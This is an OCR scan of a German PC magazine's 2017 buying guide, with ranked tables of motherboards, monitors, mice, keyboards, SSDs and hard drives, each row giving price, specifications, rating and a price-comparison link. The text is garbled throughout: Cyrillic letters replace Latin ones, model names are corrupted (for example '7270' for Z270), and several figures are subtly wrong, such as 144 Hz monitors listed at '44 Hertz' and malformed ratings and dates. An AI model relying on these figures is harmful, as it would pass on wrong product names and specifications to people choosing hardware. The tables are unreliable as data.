Sockel AM4 Preis IOH/Format | PCI-E CPU (3.0) & IOH (2.0) | M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
INEU Asus Crosshair VI Hero Ca. € 260,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 $1220 2/1x3.1; 8/2x3,0; 8x | 7 (7x PWM) 2,81 05/2017 | www.pcgh.de/preis/1582881 
INEU Gigabyte AX370-Gam.5 | Ca. € 220,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4x3,0; 8x | 8 (8x PWM) 2,82 05/2017 | www.pcgh.de/preis/1582173 
NEU. MSI X370 Xpower Titan. | Ca. € 310,- | X370/ATX x16*/x0* & x1/x1/x1/x0* 3.0x4; 2.0x4* | ALC1220 | 2/1x3.1; 4/4x3,0; 6x | 5 (5x PWM) 2,93 05/2017 | www.pcgh.de/preis/1580650 
INEU Asrock X370 Killer SLI Ca. € 170,- | X370/ATX x16*/x0* & x1/x1/x1/x1 3.0x4; 2.0x2 ALC892 | 2/0x3.1; 6/4x3,0; 6x | 5 (5х PWM) 2,93 05/2017 | www.pcgh.de/preis/1582146 
МЕО Asus Prime X370-pro Ca. € 160,- | X370/ATX x16*/x0* & х0*/х1/х0*/х4* |3.0x4 S1220A |2/1x3.1; 6/2x3,0; 8x | 6 (6x PWM) 2,95 05/2017 | www.pcgh.de/preis/1582178 
. NEU Asus Prime B350-Plus Ca.€95,- | B350/ATX x16 & x0*/x4*/x0* 3.0x4 ALC887 | 2/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 3,25 06/2017 | www.pcgh.de/preis/1582183 
МЕО Asrock AB350M Pro4 Са. Є 85,- | B350/uATX | х16 & x1/x4 3.0x4; SATA** | ALC892 | 0/0x3.1; 5/2x3,0; 4x | 3 (2x PWM) 3,36 06/2017 | www.pcgh.de/preis/1582198 
NEU) Gigabyte AB350-Gam. 3 | Ca. € 120,- | B350/ATX x16 & x1/x/4*/x0*/x0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 5 (5x PWM) 3,39 06/2017 | www.pcgh.de/preis/1582168 
. NEU, Biostar Racing B350GT5 | Ca. € 130,- | B350/ATX x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1; 4/2x3,0; 4x | 4 (4х PWM) 3,42 06/2017 | www.pcgh.de/preis/1579988 


* PCI-E-Lane-Sharing ** M.2 shared mit SATA *** M.2 shared mit SATA und mit PCI-E-Slot(s) 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte Z170X-Gam. G1 | N. verfüg. | Z170/E-ATX | x16*/x0*/x16*/x0* & x1/x1/x1 | 3.0x4**; 3.0x4** | Sound Core | 2/0x3.1; 7/4x3,0; 10x | 6 (2x PWM) 2:27 10/2015 | www.pcgh.de/preis/1306474 
In T Asus Maximus VIII Ranger | Ca. € 180,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 7 (7x PWM) 2,33 11/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Са. € 280,- | 2170/АТХ | x16*/x0* & х1/х1/х1/х1/х2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM) 2,34 10/2015 | www.pcgh.de/preis/1306329 
MSI 7270 Gam. Pro Carb. | Ca. € 180,- | Z270/ATX x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2,37 02/2017 | www.pcgh.de/preis/1557471 
Asus Maximus IX Hero Ca. € 270,- | Z270/ATX | x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
EVGA 7270 FTW K Ca. € 330,- | Z270/ATX x16*/x0* & x4/x1/x1 3.0x4**; 3.0x4** | ALC1150 | 2/0x3.1; 6/4x3,0; 6x | 7 (7x PWM) 2,43 04/2017 | www.pcgh.de/preis/1561593 
EVGA 7170 Classified Ca. € 500,- | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**: 3.0x1 Sound Core | 0/2x3.1; 6/2x3,0; 8x | 7 (7x PWM) 2,44 10/2015 | www.pcgh.de/preis/1306951 
Gigabyte Z270X-Gaming 7 | Ca. € 230,- | Z270/ATX | x16*/x0* & x1/x1/x0*/x0* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
Super Micro C72270-CG | N. verfüg. | Z270/ATX x16*/x0*/x0* & x1/x1/x1 3.0x4; 3.0x4** ALC1150 | 4/0x3.1; 0/2x3,0; 6x | 5 (5x PWM) 2,49 04/2017 | www.pcgh.de/preis/1578717 
Asrock 7270 Gaming K6 | Са. € 200,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (5x PWM) 257 02/2017 | www.pcgh.de/preis/1544856 
MSI 2170А Gaming M7 Ca. € 180,- | Z170/ATX x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2х PWM) 2,53 10/2015 | www.pcgh.de/preis/1306689 
Gigabyte Z170X-Gam. З | Са. € 180,- | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3,0; 6x | 5 (1х PWM) 2,55 11/2015 | www.pcgh.de/preis/1306467 
Asrock 2170 Gaming K4 | N. verfüg. | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2х PWM) 2,58 11/2015 | www.pcgh.de/preis/1306625 
Asrock 7170 Extreme4 N. verfüg. | Z170/ATX x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 6/2x3,0; 6x | 5 (4x PWM) 2,61 08/2016 | www.pcgh.de/preis/1306610 
Supermicro С72170-50 N. verfüg. | Z170/ATX x16*/x0*/x0* & х1/х4/х1 3.0x4 ALC898 1/0x3.1; 2/4x3,0; 6x | 5 (5x PWM) 2,77 10/2015 | www.pcgh.de/preis/1307677 
Biostar 2270GT6 Ca. € 210,- | Z270/ATX x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (5х PWM) 2,77 04/2017 | www.pcgh.de/preis/1558351 
Biostar 2170GT7 N. verfüg. | Z170/ATX x 16*/x0* & х1/х0*/х4*/х0*/х4 | 3.0x4** ALC898 1/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,92 08/2016 | www.pcgh.de/preis/1390374 
Super Micro C7H170-M N. verfüg. | H170/uATX | x16 & x4/x1 3.0x4 ALC1150 | 0/0x3.1; 4/2x3,0; 6x | 5 (bx PWM) 3,08 08/2016 | www.pcgh.de/preis/1326288 
MSI H170A PC Mate Ca. € 100,- | H170/ATX x16 & x0*/x0*/x0*/x4* 3.0x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2х PWM) 3,11 08/2016 | www.pcgh.de/preis/1319556 
ПТМ Asrock B150M Pro4S Са. € 75,- | ВІ50/ЈАТХ | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 3x PWM) 3,28 08/2016 | www.pcgh.de/preis/1318332 
Asus H110M-Plus Ca. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.01) _ ALC887 2/0x3.1; 2/2x3,0; 4х | 2 (2x PWM) 3,49 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 280,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x РММ, 1,80 0/2016 | www.pcgh.de/preis/1462624 
Asrock X99 Extreme4/3.1 | N. verfüg. | X99/ATX x16/x16/x0* & х4/х1 3.0x4* ALC1150 |/x3.1; 4/2x3,0; 10x | 6 (2x РММ, 1,83 0/2016 | www.pcgh.de/preis/1252790 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 0/2016 | www.pcgh.de/preis/1441449 
Gigabyte X99-Ultra Gam. | Ca. € 310,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM 1,89 0/2016 | www.pcgh.de/preis/1446348 
I msi X99A Raider Ca. € 210,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM 1,95 0/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 240,- | X99/ATX x16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (bx PWM 1,95 0/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 310,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1х PWM 1,96 0/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K Са. € 370,- | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x РММ, 2,07 0/2016 | www.pcgh.de/preis/1452679 


* PCI-E-Lane-Sharing ** M2 shared mit SATA ` *** M.2 shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte ЕТ 


(ОТТЕ EI PREIS-LEISTUNGS-TIPP [ERS fT SPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Asus MG248Q Ca. € 310,- 24 Zo 44 Hertz 5 ms 3ms 69 bis 320 cd/m? N-Pane Freesync 1,66 06/2016 | www.pcgh.de/preis/1419189 

liyama GB2488HSU-B2 Ca. € 280,- 24 Zo 44 Hertz 5 ms 2ms 78 bis 367 cd/m? N-Pane Freesync 1,69 | 05/2016 | www.pcgh.de/preis/1367528 

Acer XF240H bmjdpr Ca. € 240,- 24 Zo 44 Hertz 5 ms 2ms 120 bis 370 cd/m? N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 445,- 31,5 Zoll 44 Hertz 12 ms 1ms bis 288 cd/m2 VA-Pane Freesync 1,76 05/2017 | www.pcgh.de/preis/1 585204 ТТИ 
AOC G2460PF Ca. € 255,- 24 70 44 Hertz 6 ms 4ms 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 | www.pcgh.de/preis/1318972 

Asus VG278HV Ca. € 340,- 27 Zo 44 Hertz 5 ms 9 ms 58 bis 305 cd/m? N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Benq Zowie XL2540 Ca. € 500,- 24,5 Zoll 240 Hertz 5ms 0 ms 40 bis 390 cd/m? N-Pane - 1,83 02/2017 | www.pcgh.de/preis/1534083 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Viewsonic XG2703-GS Ca. € 850,- 27 Zo 65 Hertz - 2ms bis 355 cd/m? PS-Panel G-Sync 1,56 04/2017 | www.pcgh.de/preis/1504306 

AOC Agon AG241QG Ca. € 515,- 24 Zo 65 Hertz - 3ms bis 450 cd/m? N-Pane G-Sync 1,74 | 04/2017 | www.pcgh.de/preis/1476116 

Asus MG279Q Ca. € 580,- 27 Zo 44 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 (T T 
Benq XL2730Z N. verf. 27 Zo 44 Hertz 8 ms 8 ms 52 bis 353 cd/m2 N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 550,- 27 Zo 60 Hertz 5 ms 9 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 570,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 ТҮР 
Asus PB287Q Ca. € 385,- 28 Zo 60 Hertz 2ms 3ms 36 bis 277 cd/m? N-Pane - 1,87 07/2014 www.pcgh.de/preis/1094194 «Т ТИЛ. 
Asus РВ2790 Ca. € 700,- 2770 60 Hertz 6 ms 9ms 54 bis 266 cd/m2 PS-Panel - 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 530,- 27 Zo 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? PS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp VRR Test in 

LG 38UC99-W Са. € 1.340,- | 3.840 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus ВОб PG348Q Са. € 1.070,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m2 PS-Panel G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 850,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? PS-Panel Freesync 1,76 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 695,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 

Acer Predator X34 N. verf. 3.440 x 1.440 | 100 Hertz 12 ms 8 ms 19 bis 306 cd/m? PS-Panel G-Sync 1,89 04/2016 | www.pcgh.de/preis/1257523 


Modell Preis Kabellánge | Tasten Abtastung Auflósung | Gewicht Ergonomie Test in 

Roccat Nyth Са. € 125,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 12.000 Dpi | 130 Gramm Sehr gut 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Tyon Са. € 110,- | 180 cm 16 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 126 Gramm Sehr gu 1,32 12/2014 | www.pcgh.de/preis/1154844 

Asus ROG Gladius II Са. Є 90,- | 200/100 cm | 6  Scrollrad | Optisch (LED) | 12.000 Dpi | 110 Gramm Sehr gu 1,32 | 04/2017 | www.pcgh.de/preis/1574884 

Logitech G900 Chaos Spectrum | Са. Є 115,- | Schnurlos 10 + Scrollrad | Optisch (LED) 2.000 Dpi | 107 Gramm Sehr gut 1,33 | 07/2016 | www.pcgh.de/preis/1414931 

Razer Mamba 2015 Ca. € 140,- | Schnurlos 6 + Scrollrad | Optisch (LED) 6.000 Dpi | 128 Gramm Sehr gu 1,37 04/2017 | www.pcgh.de/preis/1310490 

Razer Mamba Tournament Edition | Са. Є 85,- | 210 cm 6 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 133 Gramm Sehr gu 1,39 | 01/2016 | www.pcgh.de/preis/ 3105174 T EL 
Roccat Kone EMP Са. Є 80,- | 180 ст 6 + Scrollrad | Optisch (LED) | 12.000 Dpi | 116 Gramm Sehr gu 1,42 | 04/2017 | www.pcgh.de/preis/1558194 

6403 Prodigy Wireless Са. € 80,- | Schnurlos 5 + Scrollrad | Optisch (LED) 2.000 Dpi | 107 bis 117 Gramm Sehr gu 1,43 12/2016 | www.pcgh.de/preis/1503381 

Roccat Kone XTD Ca. €70,- | 180 cm 7 + Scrollrad | Optisch (Laser) | 8.200 Dpi | 120 bis 140 Gramm Sehr gut 1,43 12/2012 | www.pcgh.de/preis/841868 

Razer Ouroboros Са. € 115,- | Schnurlos 8 + Scrollrad | Laser und LED | 8.200 Dpi | 117/147 Gramm mit Akku | Sehr gu 1,43 07/2013 | www.pcgh.de/preis/815637 

Corsair Scimitar Pro RGB Ca.€90- | 180 ст 16 + Scrollrad | Optisch (Laser) | 16.000 Dpi | 147 Gramm Gut 1,50 05/2017 | www.pcgh.de/preis/1558629 

Sharkoon Skiller SGM1 Са. Є 40,- | 180 ст 9 + Scrollrad | Optisch (LED) | 10.800 Dpi | 130 bis 154 Gramm Gut 1,83 | 04/2017 | www.pcgh.de/preis/1501343 


Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Isku+ Force FX Ca. € 110,- | Voll, RGB-Farbraum _ Ja (integriert) 10 + 5 Makrotasten | Ja/ja (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 

Razer Ornata Chroma Ca. € 110,- | RGB-Einzeltastenbel. _ Ja (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zwei Farben _ Ja (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 ТҮҢ 
Sharkoon Skiller Pro+ Ca.€40,- | Voll, sieben Farben _ Ja (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 «Т? 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 180,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue а/а (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Razer Black Widow Chroma V2 Ca. € 190,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown а/ја (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 

Sharkoon Shark Zone MK 80 RGB | Ca. € 140,- | RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Brown Kailh RGB Brown/Red | Ja/ja (k. A.) 1,40 01/2013 | www.pcgh.de/preis/ 369386 «ТІҢ 
Corsair Strafe RGB MX Silent Ca. € 165,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black alja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТҮҢ 
Tt esports Poseidon Z RGB Ca. € 105,- | RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB a/ja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Corsair K70 RGB Rapid Fire Ca. € 175,- | RGB-Einzeltastenbel. 1 x USB 2.0, Audio | Ch. MX Speed RGB | Cherry MX Speed RGB | Ja/ja (ein Profil) 1,49 | 06/2016 | www.pcgh.de/preis/1431774 

Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 

Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown TTC RGB Brown а/ја (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 

G.Skill Ripjaws KM780 RGB Ca. € 120,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX RGB Br. | MX RGB Brown/Red | Јаја (k. A.) 1,52 | 03/2016 | www.pcgh.de/preis/1332861 

Cougar Attack X3 RGB Ca. € 120,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Br. | Cherry MX RGB Br. | Ja/ja (k. A.) 1,57 | 03/2017 | www.pcgh.de/preis/1534418 
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Einkaufsführer | SERVICE 


Einkaufsführer SSDs & Festplatten 


Preise: Stand 19.04.2017 


(LIT ERPREIS-LEISTUNGS-TIPP 


LEINE fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
ТЇЗ, Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 | 08/2015 | www.pcgh.de/preis/1194261 
Adata Ultimate 50900 Са. Є 125. | 238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 | 05/2017 | www.pcgh.de/preis/1563414 
Adata SX 930 Са. Є 105,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Ca. € 95,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1388029 
Sandisk Ultra II Ca. € 95,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Ca. € 140,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Са. € 90,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
Tiu T Samsung SSD 850 Evo Ca. € 165,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba Q300 Pro Ca. € 220,- | 477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Са. € 225,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 | 07/2016 | www.pcgh.de/preis/1126463 
DE Sandisk Ultra II Ca.€145- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 | 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti Са. € 195,- | 466 GiB/480 GB 528/493 MB/s 15000 85 Sekunden | 5 Jahre 2,21 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Са. € 165,- | 477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 | 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD Са. Є 145,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Са. € 140, | 466 GiB/480 GB 528/480 MB/s 22000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 850 Pro Ca.€470,- | 954 GiB/1.024 GB | 528/502 MB/s 90.000 73 Sekunden | 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.430,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba Q300 Pro Са. € 395,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Са. Є 370,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor Са. Є 310,- | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. €555,- | 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Ca.€410,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
OCZ Vector 180 Са. € 395,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
TT tp Toshiba 0С7 RD400 Са. € 280,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 
Corsair MP500 Са. € 290,- | 447 GiB/480 GB 2399/1322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 
Tr TD PNY сѕ2030 Са. € 140,- | 238 GiB/240 GB 2.436/1231 MB/s 68.000 52 Sekunden | З Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 
Zotac Sonix Ca. € 345,- | 477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 
Kingston Hyper X Predator Ca. € 355,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 
Adata SX8000 Са. € 235,- | 447 GiB/512 GB 1112/1110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 05/2017 | www.pcgh.de/preis/1532201 
Intel SSD 600p Са. € 180,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 05/2017 | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer 1/5* AS-SSD IOPS** Kopiertest Herstellergarantie ЁТ] PCGH-Preisvergleich 
Samsung SSD 960 Pro Са. Є 570,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 
ТТ) Samsung SSD 960 Evo Са. € 460,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79) 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Са. Є 750,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Tr T Seagate Ironwolf NAS HDD Са. € 375,- | 9.313 GiB/10.000 GB | 7.200 | 0,6/1,1 Sone 4,8/7,23 ms 88/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 
INEU Toshiba N300 Ca. € 205,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 2,0/13,4 ms 67/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 
Seagate Archive HDD 8TB Са. € 260,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
TT Toshiba DTO1ACA300 Ca.€85, | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Western Digital Red WD30EFRX Са. € 115,- | 2.794 GiB/3.000 GB | 5.400 | 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
